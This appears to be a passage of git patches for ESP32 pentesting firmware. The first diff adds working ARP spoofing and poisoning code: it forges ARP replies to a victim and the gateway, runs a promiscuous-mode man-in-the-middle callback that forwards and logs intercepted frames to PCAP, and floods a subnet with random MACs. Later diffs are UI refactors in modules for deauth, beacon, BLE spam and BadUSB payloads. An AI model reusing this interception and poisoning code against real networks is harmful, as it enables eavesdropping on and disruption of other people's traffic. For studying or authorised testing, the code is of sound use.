+  arphdr->proto = PP_HTONS(ETHTYPE_IP);
+  arphdr->hwlen = ETH_HWADDR_LEN;
+  arphdr->protolen = sizeof(ip4_addr_t);
+  arphdr->opcode = PP_HTONS(ARP_REPLY);
+
+  MEMCPY(&arphdr->shwaddr, spoofedMAC, ETH_HWADDR_LEN);  // MAC falsificado (gateway ou vítima)
+  MEMCPY(&arphdr->sipaddr, spoofedIP, sizeof(ip4_addr_t)); // IP falsificado (gateway ou vítima)
+  MEMCPY(&arphdr->dhwaddr, targetMAC, ETH_HWADDR_LEN);    // MAC real do alvo (vítima ou gateway)
+  MEMCPY(&arphdr->dipaddr, targetIP, sizeof(ip4_addr_t)); // IP real do alvo (vítima ou gateway)
+
+  // Enviar o pacote
+  netif->linkoutput(netif, p);
+  pbuf_free(p);
+  Serial.println("Pacote ARP enviado!");
+  tft.println("Pacote ARP enviado!");
+
+  // Capturar o pacote no arquivo PCAP
+  if (pcapFile) {
+    pcapFile.write((const uint8_t *)p->payload, p->tot_len); // don't know if it will work
+    pcapFile.flush();
+  }
+
+}
+
+
+// Converts from IP String to byte array
+bool parseIPString(const String &ipStr, uint8_t *ipArray) {
+  int parts[4] = {0};
+  int count = sscanf(ipStr.c_str(), "%d.%d.%d.%d", &parts[0], &parts[1], &parts[2], &parts[3]);
+  if (count == 4) {
+    for (int i = 0; i < 4; i++) {
+      ipArray[i] = (uint8_t)parts[i];
+    }
+    return true;
+  }
+  return false;
+}
+
+// gateway and clients MAC for callback
+uint8_t gatewayMAC[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; 
+uint8_t clientMAC[6] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}; 
+uint8_t myMAC[6];  // MAC do ESP32
+File pcapFile;
+
+// Callback para processar pacotes no modo Promiscuous
+void mitmCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  if (type != WIFI_PKT_MGMT && type != WIFI_PKT_DATA) {
+      return; // Processa apenas pacotes de gerenciamento e dados
+  }
+
+  wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*) buf;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)pkt->rx_ctrl;
+  uint8_t* payload = pkt->payload;
+  // preamble (8 bytes) + destMAC(6 bytes) + srcMAC(6 bytes)
+  uint8_t* destMAC = payload + 8;
+  uint8_t* srcMAC = payload + 14;
+
+  // Verifica se o pacote é destinado ao ESP32
+  if (memcmp(destMAC, myMAC, 6) == 0) {
+    uint32_t timestamp = now(); // current timestamp
+    uint32_t microseconds = (unsigned int)(micros() - millis() * 1000); // microseconds offset (0 - 999)
+
+    uint32_t len = ctrl.sig_len;
+    if(type == WIFI_PKT_MGMT) {
+      len -= 4; // Need to remove last 4 bytes (for checksum) or packet gets malformed # https://github.com/espressif/esp-idf/issues/886
+    }
+    newPacketSD(timestamp, microseconds, len, pkt->payload, pcapFile); // If it is to save everything, saves every packet
+
+    // Encaminha para o cliente se veio do gateway
+    if (memcmp(srcMAC, gatewayMAC, 6) == 0) {
+      memcpy(destMAC, clientMAC, 6); // Ajusta MAC de destino
+      //What happens with checkSUM???
+      esp_wifi_80211_tx(WIFI_IF_AP, payload, pkt->rx_ctrl.sig_len, false);
+    }
+    // Encaminha para o gateway se veio do cliente
+    else if (memcmp(srcMAC, clientMAC, 6) == 0) {
+      memcpy(destMAC, gatewayMAC, 6); // Ajusta MAC de destino
+      //What happens with checkSUM???
+      esp_wifi_80211_tx(WIFI_IF_STA, payload, pkt->rx_ctrl.sig_len, false);
+    }
+  }
+}
+
+void arpSpoofing(const Host& host, bool mitm) {
+
+  uint8_t gatewayIP[4];
+  uint8_t victimIP[4]; // Endereço IP da vítima
+  uint8_t gatewayMAC[6];  // MAC do Gateway
+  uint8_t victimMAC[6];  // MAC da vítima
+  
+
+  static int nf=0;
+  FS *fs;
+  if(setupSdCard()) fs=&SD;
+  else { 
+    fs=&LittleFS;
+    mitm=false;   //LittleFs doesn have room and processing to run this attack;
+  }
+  if(!fs->exists("/BrucePCAP")) fs->mkdir("/BrucePCAP");
+  while(fs->exists(String("/BrucePCAP/ARP_session_" + String(nf++) + ".pcap").c_str())) yield();
+  pcapFile = fs->open(String("/BrucePCAP/ARP_session_" + String(nf) + ".pcap").c_str());
+  
+  writeHeader(pcapFile); // write pcap header into the file
+
+  // Get the MAC from the attacker (bruce MAC)
+  esp_read_mac(myMAC, ESP_MAC_WIFI_STA);
+  for(int i=0; i<4; i++) victimIP[i] = host.ip[i];
+  stringToMAC(host.mac.c_str(),victimMAC);
+  getGatewayMAC(gatewayMAC);
+  IPAddress gatewayIp = WiFi.gatewayIP();
+  for(int i=0; i<4; i++) gatewayIP[i] = gatewayIp[i];
+
+  drawMainBorderWithTitle("ARP Spoofing");
+  padprintln("");
+
+  if(mitm) {
+    tft.setTextSize(FP);
+    padprintln("Man in The middle Activated");
+    padprintln("/BrucePCAP/ARP_session_" + String(nf) + ".pcap");
+    // Setup promiscuous mode
+    esp_wifi_set_promiscuous(true);
+    esp_wifi_set_promiscuous_rx_cb(mitmCallback);
+
+    Serial.println("Promiscuous Mode ACTIVATED, reading data to/BrucePCAP/ARP_session_" + String(nf) + ".pcap");
+  }
+  padprintln("Tgt:" + host.mac);
+  padprintln("GTW:" + macToString(gatewayMAC));
+  padprintln("");
+  padprintln("Press Any key to STOP.");
+
+
+  long tmp=0;
+  while(!checkAnyKeyPress()) {
+    if(tmp+2000<millis()){  // sends frames every 5 seconds
+      // Enviar resposta ARP falsificada para a vítima (associando o IP do gateway ao MAC do atacante)
+      sendARPPacket(victimIP, victimMAC, gatewayIP, myMAC, pcapFile);
+                
+      // Enviar resposta ARP falsificada para o gateway (associando o IP da vítima ao MAC do atacante)
+      sendARPPacket(gatewayIP, gatewayMAC, victimIP, myMAC, pcapFile);
+      tmp=millis();
+    }
+  }
+  
+  if(mitm) {
+    // Configura o modo Promiscuous
+    esp_wifi_set_promiscuous(false);
+    esp_wifi_set_promiscuous_rx_cb(nullptr);
+
+    Serial.println("Promiscuous mode deactivated.");
+  }
+
+}
+
+void arpPoisoner() {
+  
+  uint8_t gatewayIP[4];
+  uint8_t victimIP[4]; // Endereço IP da vítima
+  uint8_t gatewayMAC[6];  // MAC do Gateway
+  uint8_t victimMAC[6];  // MAC da vítima
+
+  for (int i = 0; i < 6; i++){
+    gatewayMAC[i] = random(256);
+    victimMAC[i] = random(256);
+  }
+  IPAddress ip = WiFi.gatewayIP();
+  for(int i=0; i<4;i++) {
+    gatewayIP[i]=ip[i];
+    victimIP[i]=ip[i];
+  }
+  long tmp=0;
+    drawMainBorderWithTitle("ARP Poisoning");
+  padprintln("");
+
+  padprintln("Press Any key to STOP.");
+
+
+  while(!checkAnyKeyPress()) {
+    if(tmp+2000<millis()){  // sends frames every 5 seconds
+      for(int i=1;i<255;i++) {
+        victimIP[3]=i;
+        // Sends random Gateway MAC to all devices in the network
+        sendARPPacket(victimIP, victimMAC, gatewayIP, gatewayMAC, pcapFile);
+           
+        // Sends Device random MACs back to gateway
+        sendARPPacket(gatewayIP, gatewayMAC, victimIP, victimMAC, pcapFile);
+
+        delay(1); 
+      }
+      tmp=millis();
+    }
+  }
+}
\ No newline at end of file
diff --git a/src/modules/wifi/scan_hosts.h b/src/modules/wifi/scan_hosts.h
index e4cc72b3..7ec74b5a 100644
--- a/src/modules/wifi/scan_hosts.h
+++ b/src/modules/wifi/scan_hosts.h
@@ -17,4 +17,20 @@ void local_scan_setup();
 
 void hostInfo(const Host& host);
 
-void afterScanOptions(const Host& ip);
\ No newline at end of file
+void afterScanOptions(const Host& ip);
+
+String ipToString(const uint8_t* ip);
+
+bool parseIPString(const String &ipStr, uint8_t *ipArray);
+
+String macToString(const uint8_t* mac);
+
+void stringToMAC(const std::string& macStr, uint8_t MAC[6]);
+
+void getGatewayMAC(uint8_t gatewayMAC[6]);
+
+void sendARPPacket(uint8_t *targetIP, uint8_t *targetMAC, uint8_t *spoofedIP, uint8_t *spoofedMAC, File pcapFile);
+
+void arpSpoofing(const Host& host, bool mitm);
+
+void arpPoisoner();
\ No newline at end of file
diff --git a/src/modules/wifi/sniffer.cpp b/src/modules/wifi/sniffer.cpp
index e8c6485b..3a76b05d 100644
--- a/src/modules/wifi/sniffer.cpp
+++ b/src/modules/wifi/sniffer.cpp
@@ -339,7 +339,7 @@ void sniffer_setup() {
   else Fs = &LittleFS;        // if not, use the internal memory.
 
   openFile(*Fs);
-  displayRedStripe("Sniffing Started", TFT_WHITE, bruceConfig.priColor );
+  displayRedStripe("Sniffing Started", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor );
   tft.setTextSize(FP);
   tft.setCursor(80, 100);
   int redraw = true;
diff --git a/src/modules/wifi/wifi_atks.cpp b/src/modules/wifi/wifi_atks.cpp
index 7e7b550d..b21713b7 100644
--- a/src/modules/wifi/wifi_atks.cpp
+++ b/src/modules/wifi/wifi_atks.cpp
@@ -119,7 +119,7 @@ void wifi_atk_menu()
   {
     int nets;
     WiFi.mode(WIFI_MODE_STA);
-    displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
     nets = WiFi.scanNetworks();
     ap_records.clear();
     options = {};
@@ -163,7 +163,7 @@ void deauthFloodAttack()
   int nets;
   WiFi.mode(WIFI_AP);
 ScanNets:
-  displayRedStripe("Scanning..", TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
   nets = WiFi.scanNetworks();
   ap_records.clear();
   for (int i = 0; i < nets; i++)
@@ -301,7 +301,7 @@ void target_atk(String tssid, String mac, uint8_t channel)
     // Pause attack
     if (checkSelPress())
     {
-      displayRedStripe("Deauth Paused", TFT_WHITE, bruceConfig.priColor);
+      displayRedStripe("Deauth Paused", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
       while (checkSelPress())
       {
         delay(50);
@@ -572,10 +572,10 @@ void beaconAttack()
 
   wifiConnected = true; // display wifi icon
   // drawMainMenu(0);
-  displayRedStripe(txt, TFT_WHITE, bruceConfig.priColor);
+  displayRedStripe(txt, getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
   while (1)
   {
-    displayRedStripe(String(txt), TFT_WHITE, bruceConfig.priColor);
+    displayRedStripe(String(txt), getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
     delay(200);
     if (BeaconMode == 0)
     {

From 7ac6b9761440062ac86b1fc86b6955c5c5f3cc56 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Wed, 11 Dec 2024 01:51:54 -0300
Subject: [PATCH 2/9] displaySomething function and brightness settings

rf.cpp will come in the next commit
---
 src/core/display.cpp             | 17 +++++++++++++++--
 src/core/display.h               | 10 +++++-----
 src/core/wifi_common.cpp         |  2 +-
 src/modules/ble/bad_ble.cpp      | 14 +++++---------
 src/modules/ble/ble_common.cpp   |  2 +-
 src/modules/ble/ble_spam.cpp     | 10 +++++-----
 src/modules/fm/fm.cpp            | 15 ++++++---------
 src/modules/gps/gps_tracker.cpp  |  2 +-
 src/modules/gps/wardriving.cpp   |  2 +-
 src/modules/ir/TV-B-Gone.cpp     |  6 +++---
 src/modules/ir/custom_ir.cpp     | 20 ++++++++++----------
 src/modules/others/bad_usb.cpp   | 11 ++++-------
 src/modules/pwnagotchi/spam.cpp  |  2 +-
 src/modules/wifi/ap_info.cpp     |  2 +-
 src/modules/wifi/clients.cpp     |  2 +-
 src/modules/wifi/evil_portal.cpp |  2 +-
 src/modules/wifi/scan_hosts.cpp  |  2 +-
 src/modules/wifi/sniffer.cpp     |  2 +-
 src/modules/wifi/wifi_atks.cpp   | 10 +++++-----
 19 files changed, 68 insertions(+), 65 deletions(-)

diff --git a/src/core/display.cpp b/src/core/display.cpp
index 28c6102e..a3b97f57 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -150,6 +150,18 @@ void displaySuccess(String txt, bool waitKeyPress) {
   while(waitKeyPress && !checkAnyKeyPress()) delay(100);
 }
 
+void displaySomething(String txt, bool waitKeyPress) {
+  #ifndef HAS_SCREEN
+    Serial.println("MESSAGE: " + txt);
+    return;
+  #endif
+  // todo: add newlines to txt if too long
+  displayRedStripe(txt, getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  delay(200);
+  while(waitKeyPress && !checkAnyKeyPress()) delay(100);
+}
+
+
 void setPadCursor(int16_t padx, int16_t pady) {
   for (int y=0; y<pady; y++) tft.println();
   tft.setCursor(padx * BORDER_PAD_X, tft.getCursorY());
@@ -285,8 +297,9 @@ int loopOptions(std::vector<Option>& options, bool bright, bool submenu, String
       if(submenu) drawSubmenu(index, options, subText);
       else coord=drawOptions(index, options, bruceConfig.priColor, bruceConfig.bgColor);
       if(bright){
-        if(index!=5) setBrightness(String(options[index].label.c_str()).toInt(),false);
-        else setBrightness(bruceConfig.bright,false);
+        uint8_t bv = String(options[index].label.c_str()).toInt();  // Grabs the int value from menu option
+        if(bv>0) setBrightness(bv,false);                           // If valid, apply brightnes
+        else setBrightness(bruceConfig.bright,false);               // if "Main Menu", bv==0, return brightness to default
       }
       redraw=false;
       delay(REDRAW_DELAY);
diff --git a/src/core/display.h b/src/core/display.h
index 90766d38..6d94e82a 100644
--- a/src/core/display.h
+++ b/src/core/display.h
@@ -32,11 +32,11 @@ void setTftDisplay(int x = 0, int y = 0, uint16_t fc = tft.textcolor, int size =
 
 void displayRedStripe(String text, uint16_t fgcolor = TFT_WHITE, uint16_t bgcolor = TFT_RED);
 
-void displayError(String txt, bool waitKeyPress = false);  // Faixa vermelha
-void displayWarning(String txt, bool waitKeyPress = false);// Faixa amarela
-void displayInfo(String txt, bool waitKeyPress = false);   // Faixa Azul
-void displaySuccess(String txt, bool waitKeyPress = false);// Faixa Verde
-
+void displayError(String txt, bool waitKeyPress = false);     // Red Stripe
+void displayWarning(String txt, bool waitKeyPress = false);   // Yellow Stripe
+void displayInfo(String txt, bool waitKeyPress = false);      // Blue Stripe
+void displaySuccess(String txt, bool waitKeyPress = false);   // Green Strupe
+void displaySomething(String txt, bool waitKeyPress = false); // UI Colored stripe
 void setPadCursor(int16_t padx=1, int16_t pady=0);
 
 void padprintf(int16_t padx, const char *format, ...);
diff --git a/src/core/wifi_common.cpp b/src/core/wifi_common.cpp
index 4d7431fc..48ff7895 100644
--- a/src/core/wifi_common.cpp
+++ b/src/core/wifi_common.cpp
@@ -107,7 +107,7 @@ bool wifiConnectMenu(wifi_mode_t mode)
   case WIFI_STA: // station mode
     int nets;
     WiFi.mode(WIFI_MODE_STA);
-    displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+    displaySomething("Scanning..");
     nets = WiFi.scanNetworks();
     options = {};
     for (int i = 0; i < nets; i++) {
diff --git a/src/modules/ble/bad_ble.cpp b/src/modules/ble/bad_ble.cpp
index 9492c9c3..88c62c73 100644
--- a/src/modules/ble/bad_ble.cpp
+++ b/src/modules/ble/bad_ble.cpp
@@ -284,23 +284,19 @@ void ble_setup() {
       if (!kbChosen_ble) Kble.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection)
       Ask_for_restart=1; // arm the flag
       first_time=false;
-      displayRedStripe("Waiting Victim",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+      displaySomething("Waiting Victim");
     }
     while (!Kble.isConnected() && !checkEscPress());
 
     if(Kble.isConnected())  {
       BLEConnected=true;
-      displayRedStripe("Preparing",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+      displaySomething("Preparing");
       delay(1000);
       displayWarning(String(BTN_ALIAS) + " to deploy", true);
       delay(200);
       key_input_ble(*fs, bad_script);
 
-      displayRedStripe("Payload Sent",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
-      checkSelPress();
-      while (!checkSelPress()) {
-          // nothing here, just to hold the screen press Ok of M5.
-      }
+      displaySomething("Payload Sent",true);
       if(returnToMenu) goto End; // when cancel the run in the middle, go to End to turn off BLE services
       // Try to run a new script on the same device
 
@@ -321,7 +317,7 @@ void ble_MediaCommands() {
 
   if(!Kble.isConnected()) Kble.begin();
 
-  displayRedStripe("Pairing...",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething("Pairing...");
 
   while (!Kble.isConnected() && !checkEscPress());
 
@@ -380,7 +376,7 @@ void ble_keyboard() {
   if (!kbChosen_ble) Kble.begin(); // starts the KeyboardLayout_en_US as default if nothing had beed chosen (cancel selection)
   Ask_for_restart=1;
 Reconnect:
-  displayRedStripe("Pair to start",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething("Pair to start");
 
   while (!Kble.isConnected() && !checkEscPress()); // loop to wait for the connection callback or ESC
 
diff --git a/src/modules/ble/ble_common.cpp b/src/modules/ble/ble_common.cpp
index e2ff0c53..2b754f68 100644
--- a/src/modules/ble/ble_common.cpp
+++ b/src/modules/ble/ble_common.cpp
@@ -107,7 +107,7 @@ void ble_scan_setup()
 
 void ble_scan()
 {
-    displayRedStripe("Scanning..", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+    displaySomething("Scanning..");
 
     options = { };
     ble_scan_setup();
diff --git a/src/modules/ble/ble_spam.cpp b/src/modules/ble/ble_spam.cpp
index 2bf58972..582f43db 100644
--- a/src/modules/ble/ble_spam.cpp
+++ b/src/modules/ble/ble_spam.cpp
@@ -451,23 +451,23 @@ void aj_adv(int ble_choice){
 
       switch(ble_choice){
         case 0: // Applejuice
-          displayRedStripe("iOS Spam (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+          displaySomething("iOS Spam (" + String(count) + ")");
           executeSpam(Apple);
           break;
         case 1: // SwiftPair
-          displayRedStripe("SwiftPair  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+          displaySomething("SwiftPair  (" + String(count) + ")");
           executeSpam(Microsoft);
           break;
         case 2: // Samsung
-          displayRedStripe("Samsung  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+          displaySomething("Samsung  (" + String(count) + ")");
           executeSpam(Samsung);
           break;
         case 3: // Android
-          displayRedStripe("Android  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+          displaySomething("Android  (" + String(count) + ")");
           executeSpam(Google);
           break;
         case 4: // Tutti-frutti
-          displayRedStripe("Spam All  (" + String(count) + ")",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+          displaySomething("Spam All  (" + String(count) + ")");
           if(mael == 0) executeSpam(Google);
           if(mael == 1) executeSpam(Samsung);
           if(mael == 2) executeSpam(Microsoft);
diff --git a/src/modules/fm/fm.cpp b/src/modules/fm/fm.cpp
index 722ef45e..3e7286c8 100644
--- a/src/modules/fm/fm.cpp
+++ b/src/modules/fm/fm.cpp
@@ -35,7 +35,7 @@ uint16_t fm_scan() {
   min_noise = radio.currNoiseLevel;
 
   tft.fillScreen(bruceConfig.bgColor);
-  displayRedStripe("Scanning...", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething("Scanning...");
   for (f=8750; f<10800; f+=10) {
     Serial.print("Measuring "); Serial.print(f); Serial.print("...");
     radio.readTuneMeasure(f);
@@ -51,7 +51,7 @@ uint16_t fm_scan() {
 
   sprintf(display_freq, "Found %d MHz", freq_candidate);
   tft.fillScreen(bruceConfig.bgColor);
-  displayRedStripe(display_freq, getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething(display_freq);
   while(!checkEscPress() && !checkSelPress()) {
     delay(100);
   }
@@ -64,7 +64,7 @@ void fm_options_frq(uint16_t f_min, bool reserved) {
   char f_str[5];
   uint16_t f_max;
   // Choose between scan for best freq or select freq
-  displayRedStripe("Choose frequency", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething("Choose frequency");
   delay(1000);
 
   // Handle min / max frequency
@@ -96,7 +96,7 @@ void fm_options_digit(uint16_t f_min, bool reserved) {
   char f_str[5];
   uint16_t f_max;
   // Choose between scan for best freq or select freq
-  displayRedStripe("Choose digit", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething("Choose digit");
   delay(1000);
 
   // Handle min / max frequency
@@ -133,7 +133,7 @@ void fm_options_digit(uint16_t f_min, bool reserved) {
 void fm_options(uint16_t f_min, uint16_t f_max, bool reserved) {
   char f_str[5];
   // Choose between scan for best freq or select freq
-  displayRedStripe("Choose tens", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+  displaySomething("Choose tens");
   delay(1000);
 
   options = { };
@@ -229,10 +229,7 @@ bool fm_begin() {
   if (!radio.begin()) { // begin with address 0x63 (CS high default)
     tft.fillScreen(bruceConfig.bgColor);
     Serial.println("Cannot find radio");
-    displayRedStripe("Cannot find radio", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
-    while(!checkEscPress() && !checkSelPress()) {
-      delay(100);
-    }
+    displaySomething("Cannot find radio",true);
     return false;
   }
 
diff --git a/src/modules/gps/gps_tracker.cpp b/src/modules/gps/gps_tracker.cpp
index 8a0f8e6a..20f12844 100644
--- a/src/modules/gps/gps_tracker.cpp
+++ b/src/modules/gps/gps_tracker.cpp
@@ -45,7 +45,7 @@ bool GPSTracker::begin_gps() {
             end();
             return false;
         }
-        displayRedStripe("Waiting GPS: " + String(count)+ "s", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+        displaySomething("Waiting GPS: " + String(count)+ "s");
         count++;
         delay(1000);
     }
diff --git a/src/modules/gps/wardriving.cpp b/src/modules/gps/wardriving.cpp
index a3baa936..d82a6bdd 100644
--- a/src/modules/gps/wardriving.cpp
+++ b/src/modules/gps/wardriving.cpp
@@ -51,7 +51,7 @@ bool Wardriving::begin_gps() {
             end();
             return false;
         }
-        displayRedStripe("Waiting GPS: " + String(count)+ "s", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+        displaySomething("Waiting GPS: " + String(count)+ "s");
         count++;
         delay(1000);
     }
diff --git a/src/modules/ir/TV-B-Gone.cpp b/src/modules/ir/TV-B-Gone.cpp
index 857dcdbb..8b0eb57f 100644
--- a/src/modules/ir/TV-B-Gone.cpp
+++ b/src/modules/ir/TV-B-Gone.cpp
@@ -169,7 +169,7 @@ void StartTvBGone() {
         if (checkSelPress()) // Pause TV-B-Gone
         {
           while (checkSelPress()) yield();
-          displayRedStripe("Paused", getComplementaryColor2(bruceConfig.priColor), bruceConfig.bgColor);
+          displaySomething("Paused");
 
           while (!checkSelPress()){ // If Presses Select again, continues
             if(checkEscPress()) {
@@ -181,7 +181,7 @@ void StartTvBGone() {
             yield();
           }
           if (endingEarly) break; // Cancels  TV-B-Gone
-          displayRedStripe("Running, Wait", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+          displaySomething("Running, Wait");
         }
 
       } //end of POWER code for loop
@@ -189,7 +189,7 @@ void StartTvBGone() {
 
       if (endingEarly==false)
       {
-        displayRedStripe("All codes sent!", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+        displaySomething("All codes sent!");
         //pause for ~1.3 sec, then flash the visible LED 8 times to indicate that we're done
         delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
         delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
diff --git a/src/modules/ir/custom_ir.cpp b/src/modules/ir/custom_ir.cpp
index cc720fef..56dd6f4b 100644
--- a/src/modules/ir/custom_ir.cpp
+++ b/src/modules/ir/custom_ir.cpp
@@ -199,7 +199,7 @@ bool txIrFile(FS *fs, String filepath) {
     if (checkSelPress()) // Pause TV-B-Gone
     {
       while (checkSelPress()) yield();
-      displayRedStripe("Paused", getComplementaryColor2(bruceConfig.priColor), bruceConfig.bgColor);
+      displaySomething("Paused");
 
       while (!checkSelPress()){ // If Presses Select again, continues
         if(checkEscPress()) {
@@ -211,7 +211,7 @@ bool txIrFile(FS *fs, String filepath) {
         yield();
       }
       if (endingEarly) break; // Cancels  custom IR Spam
-      displayRedStripe("Running, Wait", getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
+      displaySomething("Running, Wait");
     }
   } // end while file has lines to process
   databaseFile.close();
@@ -350,7 +350,7 @@ void otherIRcodes() {
 void sendNECCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
   uint8_t first_zero_byte_pos = address.indexOf("00", 2);
   if(first_zero_byte_pos!=-1) address = address.substring(0, first_zero_byte_pos);
   first_zero_byte_pos = command.indexOf("00", 2);
@@ -367,7 +367,7 @@ void sendNECCommand(String address, String command) {
 void sendRC5Command(String address, String command) {
   IRsend irsend(bruceConfig.irTx,true);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
   uint8_t addressValue = strtoul(address.substring(0,2).c_str(), nullptr, 16);
   uint8_t commandValue = strtoul(command.substring(0,2).c_str(), nullptr, 16);
   uint16_t data = irsend.encodeRC5(addressValue, commandValue);
@@ -379,7 +379,7 @@ void sendRC5Command(String address, String command) {
 void sendRC6Command(String address, String command) {
   IRsend irsend(bruceConfig.irTx,true);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
   uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
   uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
   uint64_t data = irsend.encodeRC6(addressValue, commandValue);
@@ -391,7 +391,7 @@ void sendRC6Command(String address, String command) {
 void sendSamsungCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
   //uint64_t data = ((uint64_t)strtoul(address.c_str(), nullptr, 16) << 32) | strtoul(command.c_str(), nullptr, 16);
   uint32_t addressValue = strtoul(address.c_str(), nullptr, 16);
   uint32_t commandValue = strtoul(command.c_str(), nullptr, 16);
@@ -406,7 +406,7 @@ void sendSamsungCommand(String address, String command) {
 void sendSonyCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
   uint16_t commandValue = strtoul(command.substring(0,2).c_str(), nullptr, 16);
   uint16_t addressValue = strtoul(address.substring(0,2).c_str(), nullptr, 16);
   uint16_t addressValue2 = strtoul(address.substring(3,6).c_str(), nullptr, 16);
@@ -422,7 +422,7 @@ void sendSonyCommand(String address, String command) {
 void sendPanasonicCommand(String address, String command) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
   uint8_t first_zero_byte_pos = address.indexOf("00", 2);
   if(first_zero_byte_pos!=-1) address = address.substring(0, first_zero_byte_pos);
   // needs to invert endianess
@@ -455,7 +455,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
   bool success = false;
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
 
   if(hasACState(type)) {
     // need to send the state (still passed from value)
@@ -488,7 +488,7 @@ bool sendDecodedCommand(String protocol, String value, String bits) {
 void sendRawCommand(uint16_t frequency, String rawData) {
   IRsend irsend(bruceConfig.irTx);  // Set the GPIO to be used to sending the message.
   irsend.begin();
-  displayRedStripe("Sending..",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+  displaySomething("Sending..");
   uint16_t dataBuffer[SAFE_STACK_BUFFER_SIZE/2]; // MEMO: stack overflow with full buffer size
   uint16_t count = 0;
 
diff --git a/src/modules/others/bad_usb.cpp b/src/modules/others/bad_usb.cpp
index 989e685c..a73e28ab 100644
--- a/src/modules/others/bad_usb.cpp
+++ b/src/modules/others/bad_usb.cpp
@@ -298,7 +298,7 @@ void usb_setup() {
       mySerial.write(0x00);
       while(mySerial.available()<=0) {
         if(mySerial.available()<=0) {
-          displayRedStripe("CH9329 -> USB",getComplementaryColor2(bruceConfig.priColor),bruceConfig.priColor);
+          displaySomething("CH9329 -> USB");
           delay(200);
           mySerial.write(0x00);
         } else break;
@@ -309,7 +309,7 @@ void usb_setup() {
       }
       #endif
 
-      displayRedStripe("Preparing",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor); // Time to Computer or device recognize the USB HID
+      displaySomething("Preparing"); // Time to Computer or device recognize the USB HID
       delay(2000);
       first_time=false;
     }
@@ -317,11 +317,8 @@ void usb_setup() {
     delay(200);
     key_input(*fs, bad_script);
 
-    displayRedStripe("Payload Sent",getComplementaryColor2(bruceConfig.priColor), bruceConfig.priColor);
-    checkSelPress();
-    while (!checkSelPress()) {
-        // nothing here, just to hold the screen press Ok of M5.
-    }
+    displaySomething("Payload Sent",true);
+
     if(returnToMenu) return;
     // Try to run a new script on the same device
     goto NewScript;
